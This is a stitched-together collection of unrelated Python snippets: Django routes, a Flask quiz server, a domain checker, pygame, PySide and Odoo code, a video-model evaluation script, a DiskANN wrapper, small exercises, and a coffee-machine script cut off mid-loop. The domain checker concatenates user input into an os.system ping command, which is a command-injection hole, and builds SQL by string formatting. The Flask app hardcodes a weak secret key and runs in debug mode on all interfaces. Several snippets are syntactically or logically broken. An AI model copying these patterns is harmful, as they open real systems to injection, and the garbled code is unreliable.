     url(r'^logtable/$',views.get_log_table),#ajax设备log_table
     url(r'^AjaxTable/$',views.AjaxTable),#ajax所有设备表
     url(r'^user_set/$',views.user_set),#ajax用户更改密码
     url(r'^search_machine/$',views.detail),  #打开查找页面
     url(r'^warning_history/$',views.warning_histort),  #报警历史
     url(r'^ajax_warning/$',views.warning_history_ajax),  #报警历史
     url(r'client_model/$',views.client_model),

     url(r'^login/$',views.my_login), #登陆
     url(r'^logout/$',views.my_logout),#注销

]


from flask import Flask, redirect, render_template, request, session
from flask_socketio import SocketIO

app = Flask(__name__)
app.config["SECRET_KEY"] = "ABC"
socketio = SocketIO(app)
global answer
global current_user

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/redirect_login")
def redirect_login():
    username = request.values["username"]
    session["username"] = username
    return redirect("/login")

@app.route("/login")
def login():
    username = session.get("username")
    return render_template("login.html", username=username)

@app.route("/question")
def question():
    return render_template("question.html")

@socketio.on("set")
def set(data):
    global answer
    if data == "game_over":
        answer = None
        socketio.emit("set_q", "
Game Over!
")
        socketio.emit("set_qa", "
Game Over!
")
        socketio.emit("close_answer", "No one")
        return
    answer = data[1]
    socketio.emit(
        "set_q",
        f"
Question:{data[0]}
",
    )
    socketio.emit(
        "set_qa",
        f"
Question:{data[0]}

Answer:{data[1]}
",
    )
    socketio.emit("open_answer", "")

@socketio.on("press_answer")
def press_answer(data):
    global current_user
    username = session.get("username")
    current_user = username
    session_id = request.sid
    socketio.emit("close_answer", username)
    socketio.emit("open_message", "", room=session_id)

@socketio.on("send_message")
def send_message(data):
    global answer
    username = session.get("username")
    socketio.emit("set_box", f"{username}: {data}
")
    session_id = request.sid

    if data == answer:
        socketio.emit("set_box", f"{username} get the answer!
")
        socketio.emit("set_q", "
No question!
")
        socketio.emit("close_answer", "No one")
    else:
        socketio.emit("open_answer", "")

    socketio.emit("close_message", "", room=session_id)

if __name__ == "__main__":
    app.debug = True
    socketio.run(app, host="0.0.0.0")


import os
import sqlite3
class GfwList(object):
    def __init__(self,domain):
        self.domain= domain
        self.conn = sqlite3.connect('gfwlist.db')
    def _add_():
        c = self.conn.cursor()
        c.execute("insert in to gfw values ('%s')"%self.domain)
        self.conn.commit()
    def _check_from_db():
        c = self.conn.cursor()
        res = c.execute("select * from gfw")
        if self.domain in res:
            return True
        else:
            return False
    def _route_select():
        if _check_from_db():
            return True
        else:
            response = os.system("ping -n 1 " + self.domain)
            if response == 0:
                return False
            else:
                _add_()
                return False

route_select('www.google.com')


import pygame

# Import the default text font
from settings import FONT

class Button:
    """
    Create a Button object.

    Attributes
    ----------
    text : str
        Text of the button
    text_size : int
        Size of the text
    text_font : str
        Font of the text
    text_color : tuple
        RGB value of text color
    x : int
        Position by x coordinate
    y : int
        Position by y coordinate
    width : int
        Width of the button
    height : int
        Height of the button
    background_color : tuple
        RGB value for background color
    background_surface : pygame.Surface()
        The surface object of the background
    background_rectangle : pygame.Surface().get_rect()
        The rectangle of the background, drawn on background_surface
    border : bool
        True/False, draw a border around the button
    border_color : tuple
        RGB value for border color
    border_thickness : int
        Thickness of the border
    already_clicked : bool
        True/False, prevents multiple reads of one click of the button
    click_reaction : func
        Calls func() when the button is clicked

    Methods
    -------
    set_text(new_text)
        Set the new text displayed on the button
    set_text_size(new_size)
        Set the size of the text
    set_text_font(new_font)
        Set the font of the text
    set_text_color(new_color)
        Set the color of the text
    set_position(new_x, new_y)
        Set the position of the button
    set_size(new_width, new_height)
        Set the size of the button
    set_background_color(new_color)
        Set the color of the background
    set_border_color(new_color)
        Set the color of the border
    set_border_thickness(new_thickness)
        Set the thickness of the border
    hover()
        Check if the cursor collides with the button
    clicked()
        Check if the button is clicked and call click_reaction()
    connect(func)
        Connect a function to be called when the button is clicked
    show(surface)
        Display the button on the surface
    """
    def __init__(self, text, pos_x, pos_y, width, height):
        """
        Parameters
        ----------
        text : str
            Text of the button
        pos_x : int
            The position of the button on the x-axis
        pos_y : int
            The position of the button on the y-axis
        width : int
            The width of the button
        height : int
            The height of the button
        """
        self.text = text
        self.text_size = 15
        self.text_font = FONT
        self.text_color = (0, 0, 0)

        self.x = pos_x
        self.y = pos_y

        self.width = width
        self.height = height

        self.background_color = (0, 255, 255)
        self.background_surface = None
        self.background_rectangle = None

        self.border = True
        self.border_color = (0, 255, 0)
        self.border_thickness = 5

        # mouse events
        self.already_clicked = False
        self.click_reaction = None

    def set_text(self, new_text: str) -> None:
        """
        Set the text of the button.

        Parameters
        ----------
        new_text : str
            New text of the button
        """
        self.text = new_text

    def set_text_size(self, new_size: int) -> None:
        """
        Set the size of the text.

        Parameters
        ----------
        new_size : int
            New size for text
        """
        self.text_size = new_size

    def set_text_font(self, new_font: str) -> None:
        """
        Set the font of the text.

        Parameters
        ----------
        new_font : str
            Path to a *.ttf file
        """
        self.text_font = new_font

    def set_text_color(self, new_color: tuple) -> None:
        """
        Set the color of the text.

        Parameters
        ----------
        new_color : tuple
            RGB value for color
        """
        self.text_color = new_color

    def set_position(self, new_x: int or None, new_y: int or None) -> None:
        """
        Set the position of the button.

        Parameters
        ----------
        new_x : int or None
            New x coordinate for the button, None leaves the value unchanged
        new_y : int or None
            New y coordinate for the button, None leaves the value unchanged
        """
        if new_x:
            self.x = new_x
        if new_y:
            self.y = new_y

    def set_size(self, new_width, new_height: int) -> None:
        """
        Set the size of the button.

        Parameters
        ----------
        new_width : int or None
            New width of the button, None leaves the value unchanged
        new_height : int or None
            New height of the button, None leaves the value unchanged
        """
        if new_width:
            self.width = new_width
        if new_height:
            self.height = new_height

    def set_background_color(self, new_color: tuple) -> None:
        """
        Set the color of the background.

        Parameters
        ----------
        new_color : tuple
            RGB value for color
        """
        self.background_color = new_color

    def set_border_color(self, new_color: tuple) -> None:
        """
        Set the color of the border.

        Parameters
        ----------
        new_color : tuple
            RGB value for color
        """
        self.border_color = new_color

    def set_border_thickness(self, new_thickness: int) -> None:
        """
        Set the thickness of the border.

        Parameters
        ----------
        new_thickness : int
            New border thickness
        """
        self.border_thickness = new_thickness

    def hover(self) -> bool:
        """
        Check if the cursor collides with the button.
        """
        if self.background_rectangle.collidepoint(pygame.mouse.get_pos()):
            return True
        else:
            return False

    def clicked(self) -> None:
        """
        Check if the button is clicked.

        Sets already_clicked to True until the mouse button is released,
        then it sets already_clicked to False.
        If click_reaction is not None, call it.
        """
        if self.hover() and pygame.mouse.get_pressed()[0] and not self.already_clicked:
            if self.click_reaction is not None:
                self.click_reaction()

            self.already_clicked = True

        elif not pygame.mouse.get_pressed()[0]:
            self.already_clicked = False

    def connect(self, func) -> None:
        """
        Connects a function to the button.

        Parameters
        ----------
        func : function
            A new function
        """
        self.click_reaction = func

    def show(self, surface) -> None:
        """
        Display the button on the surface.

        Parameters
        ----------
        surface : pygame.display.set_mode()
            The surface object created by pygame
        """

        # Create the surface of the text and get its rectangle to be displayed on the surface
        text_surface = pygame.font.Font(self.text_font, self.text_size).render(self.text, True, self.text_color)
        text_rectangle = text_surface.get_rect(center=(self.x, self.y))

        # Create the surface of the background depending on the values of width and height
        self.background_surface = pygame.Surface((self.width, self.height))
        # Fill the surface with the color of background_color
        self.background_surface.fill(self.background_color)
        # Get the rectangle of the surface so it can be drawn on the screen
        self.background_rectangle = self.background_surface.get_rect(center=(self.x, self.y))
        # Check if the mouse is clicked
        self.clicked()
        # Draw the background of the button on surface
        surface.blit(self.background_surface, self.background_rectangle)
        # Check if the cursor collides with the button
        if self.hover():
            # If so, draw the border
            pygame.draw.rect(surface,
                             self.border_color,
                             pygame.Rect(pygame.Surface((self.width, self.height)).get_rect(center=(self.x, self.y))),
                             self.border_thickness)
        # Draw the button on the surface
        surface.blit(text_surface, text_rectangle)


import traceback
import numpy as np
import torch
from tqdm import tqdm

import utils.checkpoint as cu
import utils.logging as logging
import utils.misc as misc
from datasets import loader
from models import build_model
from config.defaults import assert_and_infer_cfg
from utils.misc import launch_job
from utils.parser import load_config, parse_args
from utils.compute_all_metrics import evaluate
from copy import copy
import os
import pycocotools.mask as m
import cv2

logger = logging.get_logger(__name__)

def postprocesses_n_save(preds_dict,cfg):
    print('Beggining noise postprocessing...')
    funct = lambda x: 2*(x[0]*x[1])/(x[1]+x[0])

    for video in preds_dict:
        preds_dict[video].sort(key=lambda x: x[3])
        cat_preds = np.array([u[0] for u in preds_dict[video]])
        scores = np.array([u[1] for u in preds_dict[video]])
        frames = ['{:0>9}'.format(u[3]*6) for u in preds_dict[video]]

        scores = np.array(scores)
        #Noise filtering by replacing frame neighbour with higher scores
        for _ in tqdm(range(250),desc='{} postprocessing ...'.format(video)):
            new_scores = copy(scores)
            new_preds = copy(cat_preds)
            for idx in range(1,len(scores)-1):
                ant = max(0,idx-1)
                nex = min(len(cat_preds)-1,idx+1)
                if (cat_preds[ant] != cat_preds[idx]) or (cat_preds[idx] != cat_preds[nex]):
                    if cat_preds[ant] == cat_preds[nex] and np.mean([scores[ant],scores[nex]])>scores[idx]:
                        new_preds[idx] = cat_preds[ant] if ant>0 else cat_preds[nex]
                        new_scores[idx] = scores[ant] if ant>0 else scores[nex]
                    elif cat_preds[ant] != cat_preds[nex] and (scores[ant]>scores[idx] or scores[nex]>scores[idx]):
                        if scores[ant] > scores[nex] :
                            new_preds[idx] = cat_preds[ant]
                            arr = [scores[ant],scores[idx]]
                            new_scores[idx] = float(funct(arr))
                        elif scores[ant] < scores[nex]:
                            new_preds[idx] = cat_preds[nex]
                            arr = [scores[nex],scores[idx]]
                            new_scores[idx] = float(funct(arr))
            scores = new_scores
            cat_preds = new_preds

        with open(os.path.join(cfg.OUTPUT_DIR,video,'action_discrete.txt'),'w') as f:
            lines = ['{},{}\n'.format(frames[i],cat_preds[i]) for i in range(len(cat_preds))]
            f.writelines(lines)
    print('Postprocessing finished.')

def floatbox(box):
    """
        Transform string key box to list of floats box
    """
    keys = box.split(' ')
    return list(map(float,keys))

def boxiou(bb1,bb2):
    """
        Get the IoU of two bboxes
        bb1: Bbox 1
        bb2: Bbox 2
    """

    #Calculate coordinates of the intersection box
    x1 = max(bb1[0],bb2[0])
    y1 = max(bb1[1],bb2[1])
    x2 = min(bb1[2],bb2[2])
    y2 = min(bb1[3],bb2[3])

    #Return 0 if intersection box is outside any box
    if x2<x1 or y2<y1:
        return 0.0

    #Calculate box IoU
    inter = (x2-x1)*(y2-y1)
    area1 = (bb1[2]-bb1[0])*(bb1[3]-bb1[1])
    area2 = (bb2[2]-bb2[0])*(bb2[3]-bb2[1])
    box_iou = inter/(area1+area2-inter)
    assert box_iou>=0 and box_iou<=1
    return box_iou

def getrealbox(boxes,box):
    """
        Get the real original box for a box with small decimal diferences.
    """
    maxiou = 0
    realbox = ''
    for box2 in boxes:
        iou = boxiou(floatbox(box2),box)
        if iou>maxiou:
            maxiou=iou
            realbox=box2

    assert maxiou>0.99 and maxiou<=1, 'Incorrect max IoU {}'.format(maxiou)
    return realbox

def saveSegments(preds,cfg):
    print('Beggining proposals to segmentation processing...')
    try:
        features = torch.load(os.path.join(cfg.OUTPUT_DIR,'stuff_MS','features.pth'))
        feat_dict = {}
        for feat in features:
            feat_dict[feat['file_name']] = feat

        for video in preds:
            for image in preds[video]:
                if image[3]%10==0:
                    im_name = image[2]
                    feat = feat_dict[im_name]
                    sem_im = np.zeros((1080,1920))
                    all_segmets = []
                    for bbox,box_pred in zip(image[0],image[1]):
                        if bbox != [0.0,0.0,0.0,0.0]:
                            category = np.argmax(box_pred)
                            score = box_pred[category]
                            real_box = getrealbox(feat['bboxes'].keys(),bbox)

                            if category<9:
                                #Box values are not exactly the same so the real box must be found with IoU
                                segment = feat['segments'][real_box]
                                all_segmets.append((category+1,segment,score))
                    all_segmets.sort(key=lambda x: x[2])

                    sem_im = np.zeros((1080,1920))
                    for segment in all_segmets:
                        mask = m.decode(segment[1]).astype('uint8')
                        sem_im[mask==1]=segment[0]

                    cv2.imwrite(os.path.join(cfg.OUTPUT_DIR,im_name),sem_im)
    except:
        traceback.print_exc()
        breakpoint()
    print('Proposals to segmentation finished.')

@torch.no_grad()
def eval_epoch(val_loader, model, cfg):
    """
    Evaluate the model on the test set.
    Args:
        val_loader (loader): data loader to provide validation data.
        model (model): model to evaluate the performance.
        cfg (CfgNode): configs. Details can be found in
            slowfast/config/defaults.py
    """

    # Evaluation mode enabled.
    preds_dict = {}
    box_preds_dict = {}
    model.eval()
    for inputs,image_names,sec,video_name,ori_boxes,features,idxs in tqdm(val_loader,desc='Action recognition and proposal classification predictions ...'):
        if cfg.NUM_GPUS:
            # Transferthe data to the current GPU device.
            if isinstance(inputs, (list,)):
                for i in range(len(inputs)):
                    inputs[i] = inputs[i].cuda(non_blocking=True)
            else:
                inputs = inputs.cuda(non_blocking=True)
            features = features.cuda(non_blocking=True)

        #Predictions for the "gestures" (action recognition) and "tools" (instrument segmentation) tasks
        all_preds = model(inputs,features,idxs)
        preds = all_preds['gestures'][0].cpu().tolist()
        box_preds = all_preds['tools'][0].cpu().numpy()
        assert len(preds)==len(image_names)==len(sec)==len(video_name)

        #Save predicitions for later postprocessing and final file saving
        for nid,name in enumerate(video_name):
            if name not in preds_dict:
                preds_dict[name] = []
                box_preds_dict[name] = []
            category = int(np.argmax(preds[nid]))
            preds_dict[name].append((category, preds[nid][category], image_names[nid], sec[nid], name))
            this_box_preds = box_preds[idxs==nid].tolist()
            this_ori_boxes = ori_boxes[idxs==nid].tolist()
            box_preds_dict[name].append((this_ori_boxes, this_box_preds, image_names[nid], sec[nid], name))

    print('Action recognition and sementation inference have finished. Now performing noise postprocessing and proposal processing...')

    postprocesses_n_save(preds_dict,cfg)
    print('Action recognition predictions at {}/video_*/action_discrete.txt'.format(cfg.OUTPUT_DIR))

    saveSegments(box_preds_dict,cfg)
    print('Instrument segmentation predictions at {}/video_*/segmentation'.format(cfg.OUTPUT_DIR))

def test(cfg):
    """
    Perform testing on the pretrained video model.
    Args:
        cfg (CfgNode): configs. Details can be found in
            config/defaults.py
    """
    # Setup logging format.
    logging.setup_logging(cfg.OUTPUT_DIR)

    # Build the video model and print model statistics.
    model = build_model(cfg)

    # Load checkpoints
    cu.load_test_checkpoint(cfg, model)

    # Create video testing loaders.
    test_loader = loader.construct_loader(cfg, "val")
    logger.info("Testing model for {} iterations".format(len(test_loader)))
    logger.info("Data taken from {}".format(os.getenv('TEST_DIR')))

    # # Perform test on the entire dataset.
    with torch.no_grad():
        eval_epoch(test_loader, model, cfg)

def main():
    """
    Main function to spawn the train and test process.
    """
    args = parse_args()
    cfg = load_config(args)
    cfg = assert_and_infer_cfg(cfg)

    # Perform multi-clip testing.
    if cfg.TEST.ENABLE:
        launch_job(cfg=cfg, init_method=args.init_method, func=test)

if __name__ == "__main__":
    main()


from aws_cdk import core as cdk
from infra_stacks.vpc_stack import Vpc

class VpcStage(cdk.Stage):

    def __init__(self,
                 scope: cdk.Construct,
                 construct_id: str,  # VpcDev/VpcStage/VpcProd
                 env: cdk.Environment,
                 **kwargs) -> None:
        super().__init__(scope, construct_id, **kwargs)

        Vpc(self, 'VpcStage', env=env)


from PySide6.QtCore import (QCoreApplication, QMetaObject, QRect, Qt)
from PySide6.QtGui import (QFont)
from PySide6.QtWidgets import (QFrame, QLabel, QWidget)

class Ui_MainWindow(object):
    def setupUi(self, MainWindow):

        if not MainWindow.objectName():
            MainWindow.setObjectName(u"MainWindow")

        MainWindow.resize(1321, 761)
        self.centralwidget = QWidget(MainWindow)
        self.centralwidget.setObjectName(u"centralwidget")

        self.telabase = QFrame(self.centralwidget)
        self.telabase.setObjectName(u"telabase")
        self.telabase.setGeometry(QRect(3, 3, 1310, 750))
        self.telabase.setStyleSheet(u"background-color:#064A80;")
        self.telabase.setFrameShape(QFrame.StyledPanel)
        self.telabase.setFrameShadow(QFrame.Raised)

        self.retangulochave = QWidget(self.telabase)
        self.retangulochave.setObjectName(u"retangulochave")
        self.retangulochave.setGeometry(QRect(30, 20, 551, 711))
        self.retangulochave.setStyleSheet(u"background:#006DAD")

        self.titulochave = QLabel(self.retangulochave)
        self.titulochave.setObjectName(u"titulochave")
        self.titulochave.setGeometry(QRect(200, 22, 151, 51))
        font = QFont()
        self.titulochave.setFont(font)
        self.titulochave.setStyleSheet(u"font: 26pt \"Aldrich\"; color:#ffffff;\n")
        self.bolotaschave = QFrame(self.retangulochave)
        self.bolotaschave.setObjectName(u"bolotaschave")
        self.bolotaschave.setGeometry(QRect(20, 100, 511, 561))
        self.bolotaschave.setFrameShape(QFrame.StyledPanel)
        self.bolotaschave.setFrameShadow(QFrame.Raised)

        self.label_2 = QLabel(self.bolotaschave)
        self.label_2.setObjectName(u"label_2")
        self.label_2.setGeometry(QRect(5, 5, 48, 48))
        font1 = QFont()
        font1.setFamilies([u"Aldrich"])
        font1.setPointSize(12)
        self.label_2.setFont(font1)
        self.label_2.setStyleSheet(u"background:#ffffff; border-radius:24px;")
        self.label_2.setAlignment(Qt.AlignCenter)

        self.label_3 = QLabel(self.bolotaschave)
        self.label_3.setObjectName(u"label_3")
        self.label_3.setGeometry(QRect(75, 5, 48, 48))
        self.label_3.setStyleSheet(u"background:#ffffff; border-radius:24px;""font: 12pt \"Aldrich\";")
        self.label_3.setAlignment(Qt.AlignCenter)

        self.label_4 = QLabel(self.bolotaschave)
        self.label_4.setObjectName(u"label_4")
        self.label_4.setGeometry(QRect(140, 5, 48, 48))
        self.label_4.setStyleSheet(u"background:#ffffff; border-radius:24px;""font: 12pt \"Aldrich\";")
        self.label_4.setAlignment(Qt.AlignCenter)

        MainWindow.setCentralWidget(self.centralwidget)
        self.retranslateUi(MainWindow)
        QMetaObject.connectSlotsByName(MainWindow)
    # setupUi

    def retranslateUi(self, MainWindow):
        MainWindow.setWindowTitle(QCoreApplication.translate("MainWindow", u"MainWindow", None))
        self.titulochave.setText(QCoreApplication.translate("MainWindow", u"CHAVES", None))
        self.label_2.setText(QCoreApplication.translate("MainWindow", u"101", None))
        self.label_3.setText(QCoreApplication.translate("MainWindow", u"102", None))
        self.label_4.setText(QCoreApplication.translate("MainWindow", u"103", None))
    # retranslateUi


class Solution:
    def minSubArrayLen(self, target: int, nums: List[int]) -> int:
        res = float('inf')
        left = 0
        curr_sum = 0

        for i in range(len(nums)):
            curr_sum += nums[i]
            while curr_sum >= target:
                res = min(res, i+1-left)
                curr_sum -= nums[left]
                left+=1
        return res if res != float('inf') else 0


import numpy as np
import diskannpy as diks
import scipy.sparse as sp
import json
import os
import time
from xc.libs.utils import KshardedOva
from sklearn.preprocessing import normalize
from sklearn_extra.cluster import KMedoids
import shutil

# +
def LoL2Sparse(list_of_list, num_cols, padd=True, data=None):
    num_rows = len(list_of_list)
    rows = np.concatenate(list(map(lambda x: [x[0]]*len(x[1]),
                               enumerate(list_of_list))))
    cols = np.concatenate(list_of_list)
    sparse_mat = sp.lil_matrix((num_rows+padd, num_cols+padd), dtype=np.float32)
    if data is None:
        data = np.ones(rows.size, dtype=np.float32)
    data = np.ravel(data)
    sparse_mat[rows, cols] = data
    return sparse_mat.tocsr()

class DiskANN:
    def __init__(self, anns_args= {"L": 300, "R": 100,
                                   "C": 750, "alpha": 1.2,
                                   "saturate_graph": False,
                                   "num_threads": 128},
                 metric="l2", dtype=np.single, num_threads=32,
                 model_path="./"):
        self.model_path = model_path
        self.metric = metric
        self.dtype = dtype
        self.num_threads = num_threads
        self.args = {"ANNS": anns_args}
        self.args["META"] = {}
        self.set_params(self.args["ANNS"])
        self.vects = None
        self.index = None

    def set_params(self, args):
        self.params = {}
        for key in args.keys():
            self.params[key] = args[key]

    def optimize(self):
        pass

    def to_bin(self, vect, path="./"):
        path = os.path.join(path, "vect.bin")
        with open(path, 'wb') as f:
            f.write(vect.shape[0].to_bytes(4, "little"))
            f.write(vect.shape[1].to_bytes(4, "little"))
            f.write(vect.astype(np.float32).tobytes())
        return path

    def get_vect(self):
        path = os.path.join(self.model_path, "index.bin.data")
        with open(path, 'rb') as f:
            N = int.from_bytes(f.read(4), "little")
            D = int.from_bytes(f.read(4), "little")
            data = np.fromfile(f, dtype="float32")
        return data.reshape(N, D)

    def fit(self, vects, model_path=None):
        if model_path is None:
            model_path = self.model_path
        self.model_path = model_path
        if os.path.exists(model_path):
            shutil.rmtree(model_path)
        os.makedirs(self.model_path)
        self.vects = normalize(np.float32(vects))
        start = time.time()
        if os.path.exists(os.path.join(model_path, "vectors.bin")):
            print("Removing old vectors.bin")
            os.remove(os.path.join(model_path, "vectors.bin"))

        diks.build_memory_index(
            data=self.vects,
            distance_metric="l2",
            vector_dtype=np.single,
            index_directory=model_path,
            complexity=self.params["L"],
            graph_degree=self.params["R"],
            num_threads=self.num_threads,
            index_prefix="index.bin",
            alpha=1.2,
            use_pq_build=False,
            num_pq_bytes=8,
            use_opq=False,
        )
        self.index = diks.StaticMemoryIndex(
            distance_metric="l2",
            vector_dtype=np.single,
            index_directory=model_path,
            num_threads=self.num_threads,  # this can be different at search time if you would like
            initial_search_complexity=self.params["L"],
            index_prefix="index.bin"
        )
        end = time.time()
        self.args["META"]["num_nodes"] = vects.shape[0]
        print(f"build_time {end-start}")

    def save(self, out_path=None):
        if out_path is None:
            out_path = self.model_path
        self.model_path = out_path
        os.makedirs(out_path, exist_ok=True)
        print("Model is already saved")
        path = os.path.join(out_path, "args.json")
        with open(path, 'w', encoding='utf-8') as f:
            json.dump(self.args, f, ensure_ascii=False, indent=4)

    def load(self, in_path):
        if in_path is None:
            in_path = self.model_path
        self.model_path = in_path
        self.index = diks.StaticMemoryIndex(
            distance_metric="l2",
            vector_dtype=np.single,
            index_directory=in_path,
            num_threads=self.num_threads,  # this can be different at search time if you would like
            initial_search_complexity=self.params["L"],
            index_prefix="index.bin"
        )

        path = os.path.join(in_path, "args.json")
        with open(path, 'r', encoding='utf-8') as f:
            self.args = json.load(f)
        self.set_params(self.args["ANNS"])

    def get_index(self, offset=6, sparse=False, prefix="index.bin"):
        path = os.path.join(self.model_path, f"{prefix}")
        data = np.fromfile(path, dtype='uint32')   #1, 2, 2, 1, 2, 3, 1, 2, 3
        num_nodes = 0
        _index = []
        _meta = data[:offset]
        while(offset < data.shape[0]):
            num_nodes += 1
            start = offset + 1
            end = start + data[offset]
            _index.append(data[start:end])
            offset = end
        del data
        if sparse:
            _index = LoL2Sparse(_index, self.args["META"]["num_nodes"], False)
        self._meta = _meta
        return _meta, _index

    def update(self, LoL, _meta=None, vect=None, outfile = None):

        if _meta is None:
            print("Using preset meta")
            _meta = self._meta
        if outfile is not None:
            if os.path.exists(outfile):
                shutil.rmtree(outfile)
            os.makedirs(outfile, exist_ok=True)
            self.model_path = outfile
            if vect is None:
                vect = self.vects
            else:
                print("Normalizing the vectors")
                vect = normalize(vect)

        if vect is None:
            vect = os.path.join(self.model_path, "index.bin.data")

        path = os.path.join(self.model_path, "index.bin")
        kmedoids = KMedoids(n_clusters=1, random_state=22).fit(vect)
        _meta[3] = kmedoids.medoid_indices_[0]
        print("New metadata", _meta)

        if sp.issparse(LoL):
            LoL = LoL.tolil()
            LoL[_meta[3], :] = 1
            LoL = LoL.rows
        new_idx = []
        for u in range(len(LoL)):
            new_idx.extend([len(LoL[u])] + LoL[u])

        file_size = len(new_idx) * 4 + 24
        x = np.array(new_idx).astype(np.uint32)
        with open(path, 'wb') as f:
            f.write(file_size.to_bytes(8, "little"))
            f.write(_meta[2:].tobytes())
            f.write(x.tobytes())

        diks.update_memory_index(path, "l2", self.model_path,
                                 self.params["R"], self.params["R"],
                                 self.num_threads, 1.2,
                                 np.single, "index.bin", vect)
        self.save(self.model_path)
        self.load(self.model_path)
        return True

    def update_node_vect(self, node_vect):
        N, d = node_vect.shape
        assert N == self.args["META"]["num_nodes"]
        self.index.update_node_vect(node_vect, N, d)

    def _set_query_time_params(self, R):
        anns_args= {"L": 3*R, "R": R,
                    "C": 7*R, "alpha": 1.2,
                    "saturate_graph": False,
                    "num_threads": 128}
        self.args["ANNS"] = anns_args

    def query(self, q_data, R=None, L=None):
        q_data = normalize(q_data)
        if L is None:
            L = self.args["ANNS"]["L"]

        if R is None:
            R = self.args["ANNS"]["R"]
        idx, scr, = self.index.batch_search(q_data, R, L, self.num_threads)
        return idx, -scr # converting distance to similarity


import numpy
import numpy as np
import PIL
from PIL import Image
import cv2
import random
from operator import xor

img = PIL.Image.open("samolot.jpg").convert('1')    #ladowanie obrazu
imgarr = numpy.array(img)
im_g=cv2.imread("samolot.jpg",0)

f = open("testb.txt", "wb")
f.writelines(imgarr)
pilimg = Image.fromarray(imgarr)

licznik_calosci=0
licznik_0=0
licznik_1=0
for pixel in iter(img.getdata()):                   #zamiana 255 na 1 oraz wypisanie DATA
    if pixel == 255:
        pixel=1
    print(pixel)
    if pixel ==1:
        licznik_1+=1
    else:
        licznik_0+=1
    licznik_calosci+=1
print("liczba elementow: ",licznik_calosci, '\n', "liczba 0: ",licznik_0,'\n', "liczba 1:" , licznik_1)

f.close()
#-----------------------------------------ZLICZANIE-POWTARZAJACYCH-SIE-SEKWENCJI---------------------------------------

f = open("testb.txt", "rb")
wystepowanie_11=0
wystepowanie_111=0
wystepowanie_1111=0
wystepowanie_11111=0
wystepowanie_00=0
wystepowanie_000=0
wystepowanie_0000=0
wystepowanie_00000=0

for line in f:
    if 255 in line:
        print("znalezionio cokolwiek")
        wystepowanie_11 = wystepowanie_11 +1
print(wystepowanie_11)
len(imgarr)

print(im_g)
f.close()


#!/usr/bin/env python3

# sort ER4 peaks.narrowPeak by p-value and take the top 100 sequences
# Usage: class8-homework.py ./memechip_out/fimo_out_1/fimo.gff ./top100_ER4_peaks.narrowPeak

import sys
import csv
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import math
from collections import Counter

top100_peaks = {}
motifs = []

for line in open(sys.argv[2]):

	fields = line.rstrip('\r\n').split('\t')
	peak_name = fields[3]
	peak_start = int(fields[1])
	peak_stop = int(fields[2])

	top100_peaks[peak_name] = [peak_start, peak_stop]

for line in open(sys.argv[1]):
	if line[0] == '#':
		continue
	fields2 = line.rstrip('\r\n').split('\t')

	motifStart = int(fields2[3])
	motifStop = int(fields2[4])

	peakStart = top100_peaks[peak_name][0]
	peakStop = top100_peaks[peak_name][1]

	motifVal = float((motifStart - peakStart) / (peakStop - peakStart))
	motifs.append(motifVal)

fig, ax = plt.subplots()
ax.hist(motifs, bins = 40, color='g')
ax.set_xlabel("Motif Position")
ax.set_ylabel("Frequency")
plt.tight_layout()
fig.savefig("CTCF_Motif.png")
plt.close(fig)


from odoo import api, fields, models, _
from odoo.exceptions import UserError

class SaleOrderReceiptWizard(models.Model):
    _name = 'sale.order.receipt.wizard'

    send_mail_receipt_a4 = fields.Boolean('Send Receipt (A4) via mail')
    print_selection = fields.Selection([
        ('receipt', 'Receipt'),
        ('receipt_a4', 'Receipt (A4)')
    ])
    mail_to = fields.Char('Mail to (add)')

    @api.onchange('print_selection')
    def onchange_print_selection(self):
        if self.print_selection and self.print_selection == 'receipt':
            self.update({
                'send_mail_receipt_a4': False,
                'mail_to': '',
            })

    @api.multi
    def handle_selection(self):
        order_id = self.env[self._context.get('active_model')].browse(self._context.get('active_id'))
        if self.send_mail_receipt_a4:
            order_id = self.env[self._context.get('active_model')].browse(self._context.get('active_id'))
            if order_id.state in ['paid', 'completed', 'done'] and order_id.invoice_ids and all(inv.payment_method == 'cash' for inv in order_id.invoice_ids):
                order_id.with_context(mail_to=self.mail_to).send_mail_receipt_report()
            else:
                raise UserError(_("Sale Order has been not paid, or wasn't paid by cash"))
        if self.print_selection == 'receipt':
            return order_id.print_receipt_report()
        if self.print_selection == 'receipt_a4':
            return order_id.print_receipt_report_2()


menu = {
    "espresso": {
        "ingredients": {
            "water": 50,
            "coffee": 18,
        },
        "cost": 1.5,
    },
    "latte": {
        "ingredients": {
            "water": 200,
            "milk": 150,
            "coffee": 24,
        },
        "cost": 2.5,
    },
    "cappuccino": {
        "ingredients": {
            "water": 250,
            "milk": 100,
            "coffee": 24,
        },
        "cost": 3.0,
    }
}

profit = 0
resources = {
    "water": 300,
    "milk": 200,
    "coffee": 100,
}

#COFFEE MACHINES

espresso, latte, cappuccino = [menu[v]["ingredients"] for v in menu]
espresso_cost, latte_cost, cappuccino_cost = [menu[v]['cost'] for v in menu]
espresso['milk'] = 0
variable = ''
request = input("What would you like? ")
drink_cost = ''
new_resources = {}

def what_is(user_request):
    global drink_cost
    if user_request == 'espresso':
        drink_cost = espresso_cost
        return espresso, drink_cost
    elif user_request == 'latte':
        drink_cost = latte_cost
        return latte, drink_cost
    elif user_request == 'cappuccino':
        drink_cost = cappuccino_cost
        return cappuccino, drink_cost
    elif user_request == 'report':
        return resources, print(resources)
    elif user_request == 'off':
        return print('powering off')
    else:
        print("Please enter proper selection")
        return False

def enough_resources(order):
    orders = order[0]
    if resources['water'] - orders['water'] >= 0 and resources['milk'] - orders['milk'] >= 0 and resources['coffee'] - orders['coffee'] >= 0:
        new_resources['water'] = resources['water'] - orders['water']
        new_resources['milk'] = resources['milk'] - orders['milk']
        new_resources['coffee'] = resources['coffee'] - orders['coffee']
        return True, new_resources
    else:
        return False

def process_coins():
    """Returns the total calculated from coins inserted."""
    print("Please insert coins.")
    total = int(input("how many quarters?: ")) * 0.25
    total += int(input("how many dimes?: ")) * 0.1
    total += int(input("how many nickles?: ")) * 0.05
    total += int(input("how many pennies?: ")) * 0.01
    return total

def is_successful(user_money, order):
    change = user_money - order
    if user_money < order:
        return print("insufficient funds"), False
    elif user_money > order:
        answer = input("would you like change? y or n: ")
        if answer == 'y':
            return True, print(f"refund of ${change} incoming")
        else:
            user_money += change
            return print("We appreciate your donation, standby for coffee"), True, user_money
    else:
        return True, print("coffee incoming")

drink = what_is(request)
if drink != False:
    is_on = True
    money = process_coins()
    while is_on and is_successful(money, drink_cost) and enough_resources(drink):
